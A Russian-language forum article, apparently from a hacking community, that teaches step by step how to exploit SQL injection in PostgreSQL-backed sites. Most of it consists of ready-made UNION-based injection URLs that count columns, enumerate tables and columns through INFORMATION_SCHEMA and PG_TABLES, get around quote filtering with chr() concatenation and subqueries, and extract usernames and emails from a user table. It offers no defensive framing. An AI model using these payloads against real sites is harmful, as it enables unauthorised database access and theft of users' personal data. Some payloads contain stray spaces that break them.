[Intro]
Всем доброе времени суток. Как я заметил - многие, сталкиваясь с иньекцией в PostgreSQL, не знают что же делать дальше. Ну что же, в этой статье я попробуй объяснить порядок действий.
Начнём!
[Подбор столбцов]
Здесь никакой экзотики, определяем так же как и в MySQL и Oracle.
Так как оператор UNION требует одинакового количества колонок как в первом, так и во втором запросе нам нужно количество этих самых колонок определить
Для этого существует 2 пути:
1. Простой перебор
допустим у нас есть сайт с иньекцией
Код:
www.site.com/index.php?id=1'
тогда выполняем такой запрос
Код:
www.site.com/index.php?id=-1+union+select+null
если появилась ошибка, то увеличиваем количество колонок на одну
Код:
www.site.com/index.php?id=-1+union+select+null,null
и так пока не исчезнет ошибка и появится пустая страница
2. Оператор ORDER BY
С помощью этого оператора можно намного проще и быстрее определить количество столбцов
Выполняем такой запрос:
Код:
www.site.com/index.php?id=-1+order+by+1--
(ошибки нет, значит столбцов 1 или больше 1)
Код:
www.site.com/index.php?id=-1+order+by+9999--
(должна появится ошибка, значит столбцов меньше 9999)
Далее подбираем таким образом правильное количество, предположим в нашем случае 4 столбца, тогда
Код:
www.site.com/index.php?id=-1+order+by+4--
(ошибки не будет)
Код:
www.site.com/index.php?id=-1+order+by+5--
(ошибка есть)
[Определяем вывод]
Предположим мы подобрали количество столбцов и их оказалось 4
Код:
www.site.com/index.php?id=-1+union+select+null,null,null,null
Теперь нас интересует в какой части страницы, какая колонка выводится. Для этого
подставим заместо одного из null - цифру
Код:
www.site.com/index.php?id=-1+union+select+null,111,null,null--
И так меняя столбцы мы узнаём вывод
Но тут не всё так просто. PostgreSQL имеет такую особенность, что столбец в первом запросе и соответствующий ему столбец во втором, должны иметь одинаковый тип данных (char,int и тд)
Чаще всего это char (например текст статьи). Кажется что ничего не сделаешь, но разработчики позаботились о нас и создали функцию to_char(). Используем так to_char(1,123) (первая цифра на бум, вторая - число которое выведется на страницу)
[Information_Schema]
К счастью, в PosgreSQL существует специальная база, в которой хранятся записи о всех существующих таблицах, колонках и тд.
Запрос к ней выглядит практически так же как и в MySQL, но с небольшой оговоркой.
Узнаём таблицы
Код:
www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFO RMATION_SCHEMA.TABLES--
Таким запросом мы узнаём первую таблицу, но нам надо узнать и другие
Вы скорее всего броситесь подстовлять в конце LIMIT+1,1 =) , но здесь как раз та самая оговорка
В PostgreSQL оператор LIMIT сосоит из двух частей: LIMIT и OFFSET
Именно OFFSET отвечает за номер записи с которой производится вывод. Пример:
Код:
www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFO RMATION_SCHEMA.TABLES+LIMIT+1+OFFSET+1--
Здесь после LIMIT стоит цифра 1 - это значит что на страницу выведется одна запись
После OFFSET цифра 1 - это значит что на страницу выведутся записи начиная с второй (т.к. отсчёт ведётся с 0)
Узнаём колонки
Перебрав таблицы, определяем ту которая нам будет интересна. Пусть это будет USER
То что мы знаем имя таблицы - это хорошо, но надо знать и колонки
Для этого изменяем запрос на такой:
Код:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS--
Таким оброзом мы выводим названия колонок всех таблиц. Но нам надо узнать имена колонок именно в таблице USER
Изменяем немного наш запрос добовляя в него оператор WHERE:
Код:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME='user'--
Появится имя первой колонки в таблице user и далее добовляя LIMIT+OFFSET узнаём все колонки.
В 90% вам не удастся выполнить такой запрос и вы увидите ошибку примерно такого вида:
ERROR: syntax error at or near "user" at character 173
Это значит что стоит фильтрация кавычек. но это можно обойити при помощи встренной функции CHR().
Функция chr() получает ОДИН числовой аргумент n типа integer и возвращает символ с ASCII-кодом, равным n
Т.е. мы можем получить только один символ. Например chr(113) выдаст нам символ "q", но если мы захотим сделать так chr(113,114), постгрес будет ругаться на неправильно количество аргументов в функции.
Здесь бы помогла встроенная в MySQL функция CONCAT() и такая функция есть, но выглядит она немного по другому. Пример:
chr(113)||chr(114) - вернёт QR
Это конечно не удобно, особенно если имя таблицы длинное, но другого выхода я пока не нашёл.
Здесь стоит указать ссылку где можно перевести символы в их числовые значения, вот она -
Код:
http://www.paulschou.com/tools/xlate/
Но вернёмся к нашему сайту
Закодировав слово user - мы получаем вот такие числа
117 115 101 114
Составляем запрос приведённый выше, но теперь заместо слова 'USER' делаем так:
Код:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=chr(117)| |chr(115)||chr(101)||chr(114)--
Теперь наш запрос правильный и должен вернуть имя колонки
Так же обойти фильтрацию кавычек можно подзапросом. Пример:
Код:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+T ABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+o ffset+1)--
[PG_TABLES или альтернатива Information_schema]
В старых версиях PostgreSQL нет возможности обратиться к базе Information_schema, так как её на то время не существовало. Но к счастью для неё есть альтернатива - это таблица PG_TABLES
Стоит заметить что у неё есть большой минус, он вытекает из названия. С помощью неё мы можем узнать только таблицы, а колонки нам придётся подбирать вручную. Имена таблиц хранятся в колонке TABLENAME
Пример
Код:
www.site.com/index.php?id=-1+union+select+null,TABLENAME,null,null+from+PG_TA BLES+limit+1+offset+0--
[Хэк или достаём нужную нам инфу из таблицы]
Ну тут уже всё просто. Мы знаем имя таблицы, знаем имена колонок
Составляем запрос:
Код:
www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user--
Он возвратит нам в данном случае имя юзера
Многие любят объединять 2 колонки разделяя их спец символом, что же, мы уже умеем это делать
Код:
www.site.com/index.php?id=-1+union+select+null,username||chr(58)||email,null, null+from+user--
Мы увидим запись типа Имя_юзера:мыло_юзера
Стоит сказать что в некоторых случаях данные выводятся в неправильной кодировке. Для изменения существует функция CONVERT()
Использовать так -
CONVERT(preved+using+utf8_to_iso_8859_1)
где:
preved - строка которую нам нужно перевести в другую кодировку
utf8_to_iso_8859_1 - из какой кодировки в какую перевести (полный список кодировок -> http://www.postgresql.org/docs/8.2/interactive/functions-string.html#CONVERSION-NAMES)
[Заключение]
В этой статье я пытался поделится своими знаниями в PostgreSQL. Вся документация взята из книги Дж. Уорсли "PostgreSQL для профессионалов" и онлайн документации на оф. сайте www.postgresql.org.
По мере того как информация будет пополнять мой мозг, статья будет обновлятся.
Спасибо }{0TT@БЬ)Ч 'у за содействие в написании статьи =)
##END
ЗЫ Моя первая статья, и не бейте =) Все обоснованные замечания с радостью приму к сведению